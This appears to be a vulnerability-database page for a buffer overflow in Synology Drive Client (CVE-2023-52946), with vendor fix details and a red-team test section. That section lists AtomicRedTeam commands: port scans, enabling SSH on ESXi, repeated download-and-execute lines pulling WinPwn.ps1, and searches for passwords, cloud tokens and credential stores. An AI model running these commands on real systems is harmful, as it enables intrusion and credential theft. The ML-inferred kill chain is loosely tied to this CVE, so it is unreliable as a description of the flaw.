CVE-2023-52946
Overview
This vulnerability is a classic buffer overflow caused by improper bounds checking during buffer copy operations within the vss service component of Synology Drive Client. The flaw arises from copying input data into fixed-size buffers without verifying the input length, leading to memory corruption. The affected component is the vss service in Synology Drive Client versions prior to 3.5.0-16084.
Vulnerability Description
Buffer copy without checking size of input ('Classic Buffer Overflow') vulnerability in vss service component in Synology Drive Client before 3.5.0-16084 allows remote attackers to overwrite trivial buffers and crash the client via unspecified vectors.
Impact
An unauthenticated remote attacker can exploit this vulnerability to cause a denial of service by crashing the Synology Drive Client application or potentially execute arbitrary code by overwriting memory buffers. No user interaction is required, and the attack can be launched over the network (AV:N/AC:L/PR:N/UI:N). This may result in service disruption and compromise of client systems running vulnerable versions, impacting data integrity and availability within affected environments.
Solution
Synology has released a security advisory (Synology_SA_24_10) recommending users upgrade Synology Drive Client to version 3.5.0-16084 or later to mitigate this vulnerability. Administrators should apply this update promptly to affected desktop clients. Detailed patch instructions and version information are available at the vendor’s official advisory page: https://www.synology.com/en-global/security/advisory/Synology_SA_24_10.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the vss service component of the Synology Drive Client is characterized as a classic buffer overflow. This type of vulnerability occurs when a program writes more data to a buffer than it can hold, leading to adjacent memory locations being overwritten. In this case, the flaw arises from inadequate size checks on input data, allowing an attacker to manipulate the buffer's size during data processing. The lack of proper validation can lead to the corruption of memory, potentially resulting in arbitrary code execution or a denial of service. The affected version of the Synology Drive Client is prior to 3.5.0-16084, making it critical for users to ensure they are operating on updated software to mitigate risks.
Attack vectors for exploiting this vulnerability are varied and can be executed remotely, which significantly heightens the threat level. An attacker could craft malicious input that, when processed by the vulnerable service, triggers the overflow condition. This could be achieved through various means, such as sending specially crafted requests or data packets to the Synology Drive Client. Once the overflow occurs, the attacker may overwrite critical memory areas, leading to the execution of arbitrary code or crashing the application entirely. The potential for exploitation is compounded by the fact that the attack does not require local access, allowing threat actors to target systems from anywhere on the internet.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on the Synology Drive Client for file synchronization and sharing. A successful exploit could lead to unauthorized access to sensitive data, disruption of services, or even complete system compromise. The business risks associated with such an incident include financial losses, reputational damage, and legal liabilities stemming from data breaches. Furthermore, the ease of exploitation and the remote nature of the attack increase the urgency for organizations to address this vulnerability promptly. Failure to do so could result in significant operational disruptions and a loss of customer trust.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. First and foremost, ensuring that all instances of the Synology Drive Client are updated to the latest version is crucial. Regular patch management practices should be implemented to address vulnerabilities as they are discovered. Additionally, organizations should employ network monitoring tools to detect unusual traffic patterns or anomalous behavior that may indicate an attempted exploit. Implementing intrusion detection systems can also provide an additional layer of security by alerting administrators to potential threats in real-time.
In conclusion, the buffer overflow vulnerability in the Synology Drive Client represents a significant security risk that can be exploited by remote attackers. The potential for arbitrary code execution and service disruption necessitates immediate attention from affected organizations. By prioritizing software updates, employing robust detection mechanisms, and fostering a culture of cybersecurity awareness, organizations can effectively mitigate the risks associated with this vulnerability and protect their critical assets from exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synology | Drive Client | All |
cpe:2.3:a:synology:drive_client:*:*:*:*:*:desktop:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-52946 |
| synology.com |
GitHub CVE
vendor-advisory
|
https://www.synology.com/en-global/security/advisory/Synology_SA_24_10 |